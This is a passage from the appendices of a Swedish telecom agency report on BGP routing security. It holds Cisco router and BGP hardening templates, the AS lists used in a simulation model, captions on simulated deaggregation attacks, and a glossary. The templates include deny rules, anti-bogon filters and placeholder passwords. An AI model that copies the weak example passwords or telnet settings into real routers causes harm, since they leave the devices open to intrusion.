314) access-list 115 permit ip 7.7.7.0 0.0.0.255 any
315) ! Second, allow our firewall to access the Internet. This
is useful
316) ! for testing.
317) access-list 115 permit ip host 6.6.6.1 any
318) ! Now log all other such attempts.
319) access-list 115 deny ip any any log-input
320) !
321) ! Rate limit (CAR) ACLs for UDP, ICMP, and multicast.
322) access-list 150 remark CAR-UDP ACL
323) access-list 150 permit udp any any
324) access-list 160 remark CAR-ICMP ACL
325) access-list 160 permit icmp any any
326) access-list 170 remark CAR-Multicast ACL
327) access-list 170 permit ip any 224.0.0.0 15.255.255.255
328) !
329) ! Deny any packets from the RFC 1918, IANA reserved, test,
330) ! multicast as a source, and loopback netblocks to block
331) ! attacks from commonly spoofed IP addresses.
332) access-list 2010 remark Anti-bogon ACL
333) ! Claims it came from the inside network, yet arrives on
the
334) ! outside (read: Internet) interface. Do not use this if
CEF
335) ! has been configured to take care of spoofing.
336) ! access-list 2010 deny ip 6.6.6.0 0.0.0.255 any log-input
337) ! access-list 2010 deny ip 7.7.7.0 0.0.0.255 any log-input
338) ! Bogons
339) access-list 2010 deny ip 0.0.0.0 0.255.255.255 any loginput
340) ...
341) BOGON filters removed from this Appendix!
National Post and Telecom Agency
137
Contents - APPENDIX 3
342)
343)
344)
345)
346)
347)
348)
349)
350)
351)
352)
353)
354)
355)
356)
357)
358)
359)
360)
361)
362)
363)
364)
365)
366)
367)
368)
369)
370)
371)
372)
373)
374)
375)
376)
377)
378)
379)
380)
381)
382)
383)
384)
385)
386)
387)
388)
389)
390)
391)
392)
393)
394)
395)
396)
397)
398)
399)
400)
401)
402)
403)
404)
405)
406)
138
See latest information on [41]!
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
National Post and Telecom Agency
- APPENDIX 3
407) ...
408) ...
409) ! Drop all ICMP fragments
410) access-list 2010 deny icmp any any fragments log-input
411) ! Allow IP access to the intranet (firewall filters
specific ports)
412) access-list 2010 permit ip any 7.7.7.0 0.0.0.255
413) ! Allow multicast to enter. See also access-list 30 for
more
414) ! specific multicast rules.
415) access-list 2010 permit ip any 224.0.0.0 15.255.255.255
416) ! Our explicit (read: logged) drop all rule
417) access-list 2010 deny ip any any log-input
418) !
419) ! Do not share CDP information, which contains key bits
about our
420) ! configuration, etc. This command disabled CDP globally.
If you
421) ! require CDP on an interface, use cdp run and disable cdp
422) ! (no cdp enable) on the Internet-facing interface.
423) no cdp run
424) ! SNMP is VERY important, particularly with MRTG.
425) ! Treat the COMMUNITY string as a password - keep it
difficult to guess.
426) snmp-server community <COMMUNITY> RO 20
427) !
428) ! Introduce ourselves with an appropriately stern banner.
429) banner motd %
430) Router foo. Access to this device or the attached
431) networks is prohibited without express written permission.
432) Violators will be prosecuted to the fullest extent of both
civil
433) and criminal law.
434)
435) We don't like you. Go away.
436)
437) %
438) !
439) line con 0
440) exec-timeout 15 0
441) transport input none
442) line aux 0
443) exec-timeout 15 0
444) line vty 0 3
445) access-class 100 in
446) exec-timeout 15 0
447) ! Enable SSH connectivity. This is much more secure than
telnet.
448) ! Obviously, you must have an IOS image that supports SSH,
and don't
449) ! forget to generate the key with crypto key generate rsa.
450) transport input telnet ssh
451) line vty 4
452) access-class 105 in
453) exec-timeout 15 0
454) transport input telnet ssh
455) !
National Post and Telecom Agency
139
Contents - APPENDIX 3
9
Appendix B: Configuration template for BGP on a
Cisco router
1) ! Our ASN is 111
2) router bgp 111
3) !
4) ! Don't wait for the IGP to catch up.
5) no synchronization
6) !
7) ! Be a little more forgiving of an occasional missed keepalive.
8) no bgp fast-external-fallover
9) !
10) ! Track and punt, via syslog, all interesting observations about
our
11) ! neighbors.
12) bgp log-neighbor-changes
13) !
14) ! Announce our netblock(s) in a manner that does not increase
CPU
15) ! utilization. Redistributing from an IGP is dangerous as it
increases
16) ! the likelihood of flapping and instability. Redistributing
static is
17) ! more stable, but requires the CPU to peruse the routing table
at a set
18) ! interval to capture any changes. The network statement,
combined with
19) ! a null route, is the least expensive (in terms of CPU
utilization) and
20) ! most reliable (in terms of stability) option.
21) network 1.88.0.0 mask 255.255.224.0
22) !
23) ! Our first neighbor, 10.10.5.1, is an eBGP peer with the ASN of
333.
24) neighbor 10.10.5.1 remote-as 333
25) !
26) ! Set for soft reconfiguration, thus preventing a complete
withdrawal
27) ! of all announced prefixes when clear ip bgp x.x.x.x is typed.
28) neighbor 10.10.5.1 soft-reconfiguration inbound
29) !
30) ! Type in a description for future reference. Not everyone
memorizes
31) ! ASNs. :-)
32) neighbor 10.10.5.1 description eBGP with ISP333
33) !
34) ! Set up a password for authentication.
35) neighbor 10.10.5.1 password bgpwith333
36) !
37) ! Hard-set for version 4. Disabled BGP version negotiation, thus
38) ! bringing the peering session on-line more quickly.
39) neighbor 10.10.5.1 version 4
40) !
41) ! Block any inbound announcments that include bogon networks. A
prefix
42) ! list is used because it is:
140
National Post and Telecom Agency
- APPENDIX 3
43) ! 1) Easier on the CPU than ACLs, and
44) ! 2) Easier to modify.
45) ! See the actual bogons prefix-list below.
46) neighbor 10.10.5.1 prefix-list bogons in
47) !
48) ! Announce only those networks we specifically list. This also
prevents
49) ! the network from becoming a transit provider. An added bit of
protection
50) ! and good netizenship. See the announce prefix-list below.
51) neighbor 10.10.5.1 prefix-list announce out
52) !
53) ! Prevent a mistake or mishap by our peer (or someone with whom
our peer
54) ! has a peering agreement) from causing router meltdown by
filling the
55) ! routing and BGP tables. This is a hard limit. At 75% of this
limit,
56) ! the IOS will issue log messages warning that the neighbor is
approaching
57) ! the limit. All log messages should be sent to a remote syslog
host.
58) ! The warning water mark can be modified by placing a value
after the
59) ! maximum prefix value, e.g. maximum-prefix 175000 50. This will
set the
60) ! IOS to issue warning messages when the neighbor reaches 50% of
the limit.
61) ! Note that this number may need to be adjusted upward in the
future to
62) ! account for growth in the Internet routing table.
63) neighbor 10.10.5.1 maximum-prefix 175000
64) !
65) ! Our next neighbor is 10.10.10.1, an eBGP peer with the ASN of
222.
66) neighbor 10.10.10.1 remote-as 222
67) neighbor 10.10.10.1 soft-reconfiguration inbound
68) neighbor 10.10.10.1 description eBGP with ISP222
69) neighbor 10.10.10.1 password bgpwith222
70) neighbor 10.10.10.1 version 4
71) neighbor 10.10.10.1 prefix-list bogons in
72) neighbor 10.10.10.1 prefix-list announce out
73) neighbor 10.10.10.1 maximum-prefix 175000
74) !
75) ! This is our iBGP peer, 172.17.70.2.
76) neighbor 172.17.70.2 remote-as 111
77) !
78) neighbor 172.17.70.2 soft-reconfiguration inbound
79) !
80) ! Again, a handy description.
81) neighbor 172.17.70.2 description iBGP with our other router
82) !
83) neighbor 172.17.70.2 password bgpwith111
84) ! Use the loopback interface for iBGP announcements. This
increases the
85) ! stability of iBGP.
86) neighbor 172.17.70.2 update-source Loopback0
87) neighbor 172.17.70.2 version 4
88) neighbor 172.17.70.2 next-hop-self
89) neighbor 172.17.70.2 prefix-list bogons in
90) neighbor 172.17.70.2 maximum-prefix 175000
91) !
92) ! Do not automatically summarize our announcements.
93) no auto-summary
National Post and Telecom Agency
141
Contents - APPENDIX 3
94) ! If we have multiple links on the same router to the same AS,
we like to
95) ! put them to good use. Load balance, per destination, with
maximum-paths.
96) ! The limit is six. For our example, we will assume two equal
size pipes
97) ! to the same AS.
98) maximum-paths 2
99) !
100)
! Now add our null route and the loopback/iBGP route.
Remember to add
101)
! more specific non-null routes so that the packets travel
to their
102)
! intended destination!
103)
ip route 1.88.0.0 255.255.224.0 Null0
104)
ip route 1.88.50.0 255.255.255.0 192.168.50.5
105)
ip route 1.88.55.0 255.255.255.0 192.168.50.8
106)
ip route 1.88.75.128 255.255.255.128 192.168.50.10
107)
ip route 172.17.70.2 255.255.255.255 192.168.50.2
108)
!
109)
! We protect TCP port 179 (BGP port) from miscreants by
limiting
110)
! access. Allow our peers to connect and log all other
attempts.
111)
! Remember to apply this ACL to the interfaces of the
router or
112)
! add it to existing ACLs.
113)
access-list 185 permit tcp host 10.10.5.1 host 10.10.5.2
eq 179
114)
access-list 185 permit tcp host 10.10.5.1 eq bgp host
10.10.5.2
115)
access-list 185 permit tcp host 10.10.10.1 host 10.10.10.2
eq 179
116)
access-list 185 permit tcp host 10.10.10.1 eq bgp host
10.10.10.2
117)
access-list 185 permit tcp host 172.17.70.2 host
172.17.70.1 eq 179
118)
access-list 185 permit tcp host 172.17.70.2 eq bgp host
172.17.70.1
119)
access-list 185 deny tcp any any eq 179 log-input
120)
!
121)
! The announce prefix list prevents us from announcing
anything beyond
122)
! our aggregated netblock(s).
123)
ip prefix-list announce description Our allowed routing
announcements
124)
ip prefix-list announce seq 5 permit 1.88.0.0/19
125)
ip prefix-list announce seq 10 deny 0.0.0.0/0 le 32
126)
!
127)
! The bogons prefix list prevents the acceptance of
obviously bogus
128)
! routing updates. This can be modified to fit local
requirements.
129)
! While aggregation is possible - certainly desirable IANA tends
130)
! to allocate netblocks on a /8 boundary. For this reason,
I have
131)
! listed the bogons largely as /8 netblocks. This will
make changes
132)
! to the bogons prefix-list easier to accomplish and less
intrusive.
133)
! I have listed more specific netblocks when
documentation, such as
134)
! RFC1918, is more granular.
142
National Post and Telecom Agency
- APPENDIX 3
135)
! Please see the IANA IPv4 netblock assignment document at
the
136)
! following URL:
137)
! http://www.iana.org/assignments/ipv4-address-space
138)
ip prefix-list bogons description Bogon networks we won't
accept.
139)
ip prefix-list bogons seq 5 deny 0.0.0.0/8 le 32
140)
...
141)
BOGON filters removed from this Appendix!
142)
See latest information on [41]
143)
...
144)
...
145)
...
146)
...
147)
...
148)
...
149)
...
150)
...
151)
...
152)
...
153)
...
154)
...
155)
...
156)
...
157)
...
158)
...
159)
...
160)
...
161)
...
162)
...
163)
...
164)
...
165)
...
166)
...
167)
...
168)
...
169)
...
170)
...
171)
...
172)
...
173)
...
174)
...
175)
...
176)
...
177)
...
178)
...
179)
...
180)
...
181)
...
182)
...
183)
...
184)
...
185)
...
186)
...
187)
...
188)
...
189)
...
190)
...
191)
...
192)
...
193)
...
194)
...
195)
...
196)
...
197)
...
National Post and Telecom Agency
143
Contents - APPENDIX 3
198)
199)
200)
201)
202)
203)
204)
205)
206)
207)
208)
209)
210)
211)
212)
213)
144
...
...
...
...
...
...
...
...
...
...
...
! Allow all prefixes up to /27. Your mileage may vary,
! so adjust this to fit your specific requirements.
ip prefix-list bogons seq 525 permit 0.0.0.0/0 le 27
!
! END
National Post and Telecom Agency
- APPENDIX 3
Appendix C: Input data and extracted data for the model
This appendix contains lists of input data sources and some data that has been extracted for the
model.
Table 1: Peer AS routing tables used to construct the model.
Route Views
Peer AS
286
4513
293
5056
701
5459
852
5511
1221
5650
1224
6079
1239
6395
1299
6453
1668
RIPE Peer
AS
42
8190
286
8289
786
8342
1290
8422
1299
8426
2116
8434
2686
8468
2856
8642
2914
8674
3246
9019
3257
12390
3292
12621
3301
12932
3303
12956
3336
13184
6461
National Post and Telecom Agency
145
Contents - APPENDIX 3
Table 2: AS included in the model.
ISPs
Customers (cont
1257
SWIPNET
112
ROOTSERV
29602
WWWGBG-AS
1299
TELIANET
158
ERI-AS
30795
INTRON-AS
1653
SUNET
1729
TELIA-TCN
30880
SPACEDUMP-AS
1880
UNSPECIFIED
2831
UNSPECIFIED
30950
BREDBANDS
ALLIANSEN
31024
MAVIATION-AS
31331
LINNEA-AS
2119
TELENOR-NEXTEL
2833
SUNET-UMU
2611
BELNET
2834
UNSPECIFIED
3246
TDCSONG
2837
UNSPECIFIED
3274
CYGATE
2839
UNSPECIFIED
31529
DENIC-ANYCAST
AS
3292
TDC
2841
CHALMERS
31574
SE-BGC-AS
3301
TELIANET-SWEDEN
2842
UNSPECIFIED
33976
aftonbladet-se
3549
GBLX
2843
UNSPECIFIED
34029
IBXNORDIC-AS
5400
BT
2846
UNSPECIFIED
34228
SERVERA-AS
6830
UPC
5569
UNSPECIFIED
8190
VIATEL
6432
DOUBLECLICK
8289
Dataphone
7500
M-ROOT
209
ASN-QWEST
8341
QUICKNET
MICROSOFT-CORP--MSN-AS-BLOCK
286
KPN
8075
701
ALTERNET-AS
8523
BASEFARM-SE-ASN
702
AS702
8702
UNSPECIFIED
9201
SwAF
8374
8434
8473
8642
8674
12552
12597
146
Customers
PLUSNET
TELENOR-SE
BAHNHOF
B2
NOCOM
13104
SE-VENTELO
1200
AMS-IX1
1239
SPRINTLINK
1273
CW
12362
NETCOM
12381
WIDELL-GORDEN
1759
SONERA-TRANS
AS
12501
NorrNod
2603
NORDUNET
12929
NETCOM-AS
15169
GOOGLE
15527
UNSPECIFIED
15782
PERSPEKTIV-AS
GOTANET
12935
WOODYNET-1
WINEASY
IPO-EU
LYCOS-EUROPE
42
12352
NETNOD-IX
12832
Neighbours
National Post and Telecom Agency
- APPENDIX 3
11
Appendix D: Simulation results
This appendix contains some simulation results extracted from the main text.
Figure 31.
The impact of deaggregation attacks on Internet broker 1. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) that are affected. (Each column indicates the number of attack points
that affect a certain proportion of users.) This case only includes attacks affecting
more than zero users. Bottom left: histogram showing the proportion of users (based
on the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
National Post and Telecom Agency
147
Contents - APPENDIX 3
Figure 32. The impact of deaggregation attacks on Internet broker 2. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) that are affected. (Each column indicates the number of attack points
that affect a certain proportion of users.) This case only includes attacks affecting
more than zero users. Bottom left: histogram showing the proportion of users (based
on the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
148
National Post and Telecom Agency
- APPENDIX 3
Figure 33. The impact of deaggregation attacks on the media company. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) that are affected. (Each column indicates the number of attack points
that affect a certain proportion of users.) This case only includes attacks affecting
more than zero users. Bottom left: histogram showing the proportion of users (based
on the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
National Post and Telecom Agency
149
Contents - APPENDIX 3
Figure 34. The impact of deaggregation attacks on the public authority. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) that are affected. (Each column indicates the number of attack points
that affect a certain proportion of users.) This case only includes attacks affecting
more than zero users. Bottom left: histogram showing the proportion of users (based
on the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
150
National Post and Telecom Agency
- APPENDIX 3
Figure 35. The impact of advertising existing prefixes on a media company. Top left:
histogram showing the number of AS affected. (Each column indicates the number
of attack points that affect a certain number of AS. The number of AS is indicated
on the x axis.) Top right: histogram showing the proportion of users (based on the
market shares of ISPs) that are affected. (Each column indicates the number of
attack points that affect a certain proportion of users.) This case only includes
attacks affecting more than zero users. Bottom left: histogram showing the
proportion of users (based on the market shares of ISPs) over and above those
affected within the attacking AS. (Each column indicates the number of attack
points that affect a certain proportion of users.) This case also only includes attacks
affecting more than zero users.
National Post and Telecom Agency
151
Contents - APPENDIX 3
Figure 36. The impact of advertising existing prefixes on a public authority. Top left:
histogram showing the number of AS affected. (Each column indicates the number
of attack points that affect a certain number of AS. The number of AS is indicated
on the x axis.) Top right: histogram showing the proportion of users (based on the
market shares of ISPs) that are affected. (Each column indicates the number of
attack points that affect a certain proportion of users.) This case only includes
attacks affecting more than zero users. Bottom left: histogram showing the
proportion of users (based on the market shares of ISPs) over and above those
affected within the attacking AS. (Each column indicates the number of attack
points that affect a certain proportion of users.) This case also only includes attacks
affecting more than zero users.
152
National Post and Telecom Agency
- APPENDIX 3
12
Appendix E: Glossary of abbreviations
Glossary and explanation of the abbreviations used in this document:
Abbreviation
ACK
Meaning
Acknowledgment
ARP
AS
BCP
Address Resolution
Protocol
Autonomous System
Best Common Practice
BGP
Border Gateway Protocol
CDP
Cisco Discovery Protocol
CPU
DML
Central Processing Unit
Domain Modeling
Language
Domain Name System
DNS
EIGRP
GTSM
IGP
IOS
IP
IRR
IS-IS
ISP
MD5
MRT
NANOG
OSPF
PTS
RIB
RADB
RIPE
RIPE NCC
RPSL
RR
Enhanced Interior Gateway
Routing Protocol
Generalized TTL Security
Mechanism
Interior Gateway Protocol
Internetwork Operating
System
Internet Protocol
Internet Routing Registry
Intermediate System to
Intermediate System
Internet Service Provider
Message Digest 5
Multithreaded Routing
Toolkit
North American Network
Operators Group
Open Shortest Path First
The National Post and
Telecom Agency
Routing Information Base
Routing Assets Data Base
Réseaux IP Européen
RIPE Network
Coordination Center
Routing Policy
Specification Language
Routing Registry
National Post and Telecom Agency
Brief explanation
TCP flag to acknowledge receipt of a
segment.
The translation of an IP address to a
MAC address.
See Section 1.
Established and agreed good/best
routines or approaches as regards, for
instance, network design, configuration
and operation.
De facto standard protocol for border
routing in the Internet.
A protocol developed by Cisco for the
exchange of information between
routers.
The computer's processor.
Specification language for models in
SSFNet.
A name resolving system in the
Internet.
Cisco's proprietary intradomain routing
protocol.
Former BGP TTL security hack (TTLbased spoofing check of BGP
messages).
Routing protocol within AS.
Cisco's operating system for its routers.
Network protocol in the Internet.
The union of RR databases.
Intradomain routing protocol.
Network operator.
Hash algorithm.
Set of routing tools. (software)
Association for US operators
Intradomain routing protocol.
Routing table
RR database.
European forum for the development
and operation of IP networks.
European 'Regional Internet Registry'
Specification language for policies and
other information for the routing
system
Database for information for the
routing system.
153
Contents - APPENDIX 3
SSFNet
TCP
XML
154
Scalable Simulation
Framework Network
Simulator
Transmission Control
Protocol
Extensible Markup
Language
Network simulator.
Transmission protocol in the Internet.
Markup language.
National Post and Telecom Agency